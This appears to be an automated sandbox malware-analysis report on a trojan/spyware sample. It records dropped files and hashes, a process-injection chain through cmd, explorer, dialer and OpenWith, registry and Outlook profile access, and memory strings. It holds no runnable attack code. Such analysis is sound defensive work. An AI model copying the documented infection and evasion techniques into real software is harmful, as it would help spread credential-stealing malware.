Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcv-5.1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcv20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippi-5.1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippi20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ipps-5.1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ipps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ipps20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippvm-5.1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippvm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippvm20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcc-5.1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippcc20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: mkl_p4.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: mkl_p3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: mkl_def.dll	Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll C28E0AEC124902E948C554436C0EBBEBBA9FC91C906CE2CD887FADA0C64E3386
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe 7C4EB51A737A81C163F95B50EC54518B82FCF91389D0560E855F3E26CEC07282
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll 37D9A8057D58B043AD037E9905797C215CD0832D48A29731C1687B23447CE298

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 00416740 appears 94 times
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 01736DF0 appears 191 times
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 004B77A0 appears 101 times
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 004B76D0 appears 36 times
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 0041A3B0 appears 42 times
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: String function: 0047BCF0 appears 141 times

Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D1373130C7 RtlAllocateHeap,RtlAllocateHeap,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,RtlDeleteBoundaryDescriptor,RtlDeleteBoundaryDescriptor,	10_3_000001D1373130C7
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B79920 _malloc_dbg,NtAcceptConnectPort,NtAcceptConnectPort,??3@YAXPEAX@Z,	10_3_00007DF439B79920
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B78928 NtAcceptConnectPort,	10_3_00007DF439B78928
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7886C NtAcceptConnectPort,	10_3_00007DF439B7886C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B78ABC NtAcceptConnectPort,	10_3_00007DF439B78ABC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B79ACC _calloc_dbg,RtlDosPathNameToNtPathName_U,NtAcceptConnectPort,_calloc_dbg,??3@YAXPEAX@Z,	10_3_00007DF439B79ACC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B78A34 NtAcceptConnectPort,	10_3_00007DF439B78A34
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B79D6C NtAcceptConnectPort,	10_3_00007DF439B79D6C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B78BC0 NtAcceptConnectPort,	10_3_00007DF439B78BC0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B78BA0 NtAcceptConnectPort,	10_3_00007DF439B78BA0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7AEB4 NtAcceptConnectPort,NtAcceptConnectPort,	10_3_00007DF439B7AEB4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B790F8 NtAcceptConnectPort,_calloc_dbg,DuplicateHandle,NtAcceptConnectPort,??3@YAXPEAX@Z,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,	10_3_00007DF439B790F8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7A0DC NtAcceptConnectPort,	10_3_00007DF439B7A0DC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7AF80 NtAcceptConnectPort,NtAcceptConnectPort,	10_3_00007DF439B7AF80
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7A36C NtAcceptConnectPort,	10_3_00007DF439B7A36C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7A42C NtAcceptConnectPort,	10_3_00007DF439B7A42C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D137281CD0 RtlAllocateHeap,NtAcceptConnectPort,FindCloseChangeNotification,	10_2_000001D137281CD0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D1372815AC NtAcceptConnectPort,	10_2_000001D1372815AC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D137280AC8 NtAcceptConnectPort,NtAcceptConnectPort,	10_2_000001D137280AC8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D137281A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,	10_2_000001D137281A90

Source: CrashRpt.dll.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameOthello.exeDVarFileInfo$ vs XtDhwVrVKn.exe

Source: XtDhwVrVKn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe

File created: C:\Users\user\Desktop\peerblock.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/12@2/3

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_004B7920 GetLastError,FormatMessageW,GlobalFree,

2_2_004B7920

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_00488A00 FindResourceW,GetLastError,SizeofResource,GetLastError,GetLastError,

2_2_00488A00

Source: XtDhwVrVKn.exe

Virustotal: Detection: 8%

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe

File read: C:\Users\user\Desktop\XtDhwVrVKn.exe

Jump to behavior

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\XtDhwVrVKn.exe C:\Users\user\Desktop\XtDhwVrVKn.exe
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	Process created: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\System32\pcaui.exe C:\Windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "ManyCam" -v "ManyCam LLC" -s "To work properly, this app must be reinstalled after you upgrade Windows." -n 4 -f 0 -k 0 -e "C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\openwith.exe
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmprph.exe C:\Program Files\Windows Media Player\wmprph.exe
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	Process created: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\System32\pcaui.exe C:\Windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "ManyCam" -v "ManyCam LLC" -s "To work properly, this app must be reinstalled after you upgrade Windows." -n 4 -f 0 -k 0 -e "C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\openwith.exe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmprph.exe C:\Program Files\Windows Media Player\wmprph.exe	Jump to behavior

Source: C:\Users\user\Desktop\XtDhwVrVKn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

File created: C:\Users\user\AppData\Local\Temp\49fde494

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_004B2100 CoCreateInstance,

2_2_004B2100

Source: 10.3.OpenWith.exe.1d13926a6d0.12.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.44.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.24.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.31.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.41.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.39.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.4.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.9.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.37.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.8.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.18.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 10.3.OpenWith.exe.1d13926a6d0.17.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload

Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select id from t_names where name=?;
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select count(*) from sqlite_master where name='i_time';
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: insert into t_history values(julianday(?, 'unixepoch'),?,?,?,?,?,?,?);
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select max(ROWID) - ((max(ROWID) - min(ROWID)) / 2) from t_history;
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: create table t_history(time real, nameid integer, source integer, sourceport integer, destination integer, destport integer, protocol integer, action integer);
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select count(*) from sqlite_master where name='i_actiontime';
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select count(*) from sqlite_master where name='t_names';
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select time(time, 'localtime'),name,source,sourceport,destination,destport,protocol,action from t_history,t_names where t_history.ROWID=? and id=nameid order by t_history.ROWID desc;
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: create table t_names(id integer primary key, name text unique);
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: insert into t_names(name) values(?);
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: select count(*) from sqlite_master where name='t_history';

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6044:120:WilError_03
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\PeerBlock
Source: C:\Users\user\Desktop\XtDhwVrVKn.exe	Mutant created: \Sessions\1\BaseNamedObjects\PB TraceLogging Mutex
Source: C:\Windows\SysWOW64\dialer.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: XtDhwVrVKn.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: XtDhwVrVKn.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: XtDhwVrVKn.exe

Static file information: File size 2515968 > 1048576

Source: XtDhwVrVKn.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1a7800

Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: XtDhwVrVKn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: XtDhwVrVKn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: XtDhwVrVKn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wkernel32.pdb source: explorer.exe, 00000007.00000003.2395222916.0000000006D80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395159521.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398432037.0000000002F30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398522792.0000000005080000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D13947B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\highgui099.pdb8` source: ManyCam.exe, 00000002.00000002.2117054726.00000000018DD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: diaLocatePDB-> Looking for %s... %s%s.pdbFPOPDATAXDATAOMAPFROMOMAPTO$$$IP not set! source: ManyCam.exe, 00000002.00000002.2118386738.000000006D511000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdbUGP source: ManyCam.exe, 00000002.00000002.2117927340.0000000003D50000.00000004.00000800.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2117703601.00000000039F5000.00000004.00000020.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2118064028.0000000004107000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358279560.00000000052A2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358532065.0000000005740000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394994717.0000000006E00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397480405.0000000004A85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394877910.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398061131.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398222724.00000000051A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: explorer.exe, 00000007.00000003.2394550694.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394692378.0000000006E50000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397621332.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397797338.00000000051F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ManyCam.exe, 00000002.00000002.2117927340.0000000003D50000.00000004.00000800.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2117703601.00000000039F5000.00000004.00000020.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2118064028.0000000004107000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358279560.00000000052A2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358532065.0000000005740000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394994717.0000000006E00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397480405.0000000004A85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394877910.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398061131.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398222724.00000000051A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139483000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\branch_2.5\Bin\CrashRpt.pdb source: ManyCam.exe, 00000002.00000002.2117350627.0000000002012000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831g" source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\branch_2.5\bin\cximagecrt.pdb0 source: ManyCam.exe, 00000002.00000002.2118330680.0000000010062000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: d:\branch_2.5\bin\cximagecrt.pdb source: ManyCam.exe, 00000002.00000002.2118330680.0000000010062000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\Programmireading\machine code\driver\HTTP\uJT\z\Syntax\DNS\css\cluster\i\x64\protocol\so.pdb source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: TD:\Programmireading\machine code\driver\HTTP\uJT\z\Syntax\DNS\css\cluster\i\x64\protocol\so.pdb source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: ntkrnlmp.pdbX source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139453000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cxcore099.pdb source: ManyCam.exe, 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: ntdll.pdb source: explorer.exe, 00000007.00000003.2394550694.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394692378.0000000006E50000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397621332.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397797338.00000000051F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2D!] source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\highgui099.pdb source: ManyCam.exe, 00000002.00000002.2117054726.00000000018DD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cv099.pdb source: ManyCam.exe, 00000002.00000002.2116963485.000000000186F000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cxcore099.pdbu source: ManyCam.exe, 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: d:\branch_2.5\bin\ManyCam.pdb source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: explorer.exe, 00000007.00000003.2395222916.0000000006D80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395159521.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398432037.0000000002F30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398522792.0000000005080000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: ManyCam.exe, 00000002.00000002.2118386738.000000006D511000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139453000.00000004.00000020.00020000.00000000.sdmp

